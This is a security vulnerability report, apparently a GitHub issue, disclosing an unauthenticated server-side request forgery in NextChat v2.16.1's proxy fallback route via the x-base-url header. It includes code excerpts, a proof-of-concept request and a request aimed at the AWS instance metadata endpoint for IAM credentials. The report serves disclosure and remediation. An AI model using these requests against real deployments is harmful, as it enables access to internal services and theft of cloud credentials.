Unauthenticated SSRF via Open Proxy Fallback Route (x-base-url header)

### 📦 Deployment Method

Docker

### 📌 Version

v2.16.1

### 💻 Operating System

Other Linux

### 📌 System Version

-

### 🌐 Browser

Other

### 📌 Browser Version

-

### 🐛 Bug Description

reported on 2 June 2026 https://github.com/ChatGPTNextWeb/NextChat/security/advisories/GHSA-2wvx-vcmx-h8fr - no response.

### Summary

NextChat's proxy fallback handler in `app/api/proxy.ts` performs server-side HTTP requests to any URL supplied by the caller via the `x-base-url` request header, with no authentication check and no URL allowlist. Any unauthenticated attacker can use this to probe or interact with internal network services, cloud metadata endpoints, and adjacent hosts behind the server's network boundary.

### Details

The Next.js catch-all route `app/api/[provider]/[...path]/route.ts` dispatches requests to named provider handlers (OpenAI, Anthropic, Google, etc.) by matching the `provider` path segment against known `ApiPath` values. Any provider name that does not match a known value falls through to the default case:

```typescript
// app/api/[provider]/[...path]/route.ts lines 58-59
default:
return proxyHandler(req, { params });
```

`proxyHandler` is imported from `app/api/proxy.ts`. That handler reads the `x-base-url` header from the incoming request and uses it directly as the upstream URL target:

```typescript
// app/api/proxy.ts lines 20-22
const subpath = params.path.join("/");
const fetchUrl = `${req.headers.get(
"x-base-url",
)}/${subpath}?${req.nextUrl.searchParams.toString()}`;
```

There is no call to `auth()` anywhere in `proxy.ts`. The adjacent OpenAI, Anthropic, and Google handlers all call `auth(req, ModelProvider.*)` before forwarding; the proxy fallback does not. As a result, any HTTP request to `/api//` triggers a server-side fetch to `x-base-url/` without requiring an access code or API key.

The `Access-Control-Allow-Origin: *` and `Access-Control-Allow-Headers: *` headers set in `next.config.mjs` mean this endpoint is reachable cross-origin from any web page, enabling drive-by exploitation from a victim's browser.

### PoC

Prerequisites: a running NextChat instance (Docker image `yidadaa/chatgpt-next-web:latest` v2.16.1). The `CODE` environment variable may be set; it does not affect the proxy route.

Start an HTTP listener on a host reachable from the NextChat server:

```bash
python3 -m http.server 8080
```

Send an unauthenticated request to a non-existent provider:

```
GET /api/anyprovider/anypath HTTP/1.1
Host: :3000
x-base-url: http://:8080
```

The listener receives the connection from the NextChat server:

```
172.18.0.3 - - "GET /anypath HTTP/1.1" 404 -
```

The response to the caller contains the listener's HTTP server header (`server: SimpleHTTP/0.6 Python/3.11.15`), confirming the request was made server-side.

To reach the AWS instance metadata service:

```
GET /api/anyprov/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: :3000
x-base-url: http://169.254.169.254
```

### Impact

An unauthenticated attacker can:
- Enumerate and interact with internal services on the NextChat server's network (databases, Redis, internal APIs, container sidecars)
- Retrieve cloud-provider instance metadata (AWS, GCP, Azure), including temporary IAM credentials
- Exfiltrate data from internal HTTP services by relaying the response body back to the caller
- Bypass access-code controls entirely, as the proxy handler checks no credentials

This affects all self-hosted NextChat deployments regardless of whether a `CODE` environment variable is configured.

### 📷 Recurrence Steps

_No response_

### 🚦 Expected Behavior

_No response_

### 📝 Additional Information

_No response_

Start with app/api/[provider]/[...path]/route.ts and app/api/proxy.ts, then compare the proxy fallback with the auth checks in the OpenAI, Anthropic, and Google handlers. Reproduce the request using the Docker setup and confirm that unauthenticated requests can no longer reach arbitrary x-base-url targets or expose their responses.

Written by the indexing model from the issue text.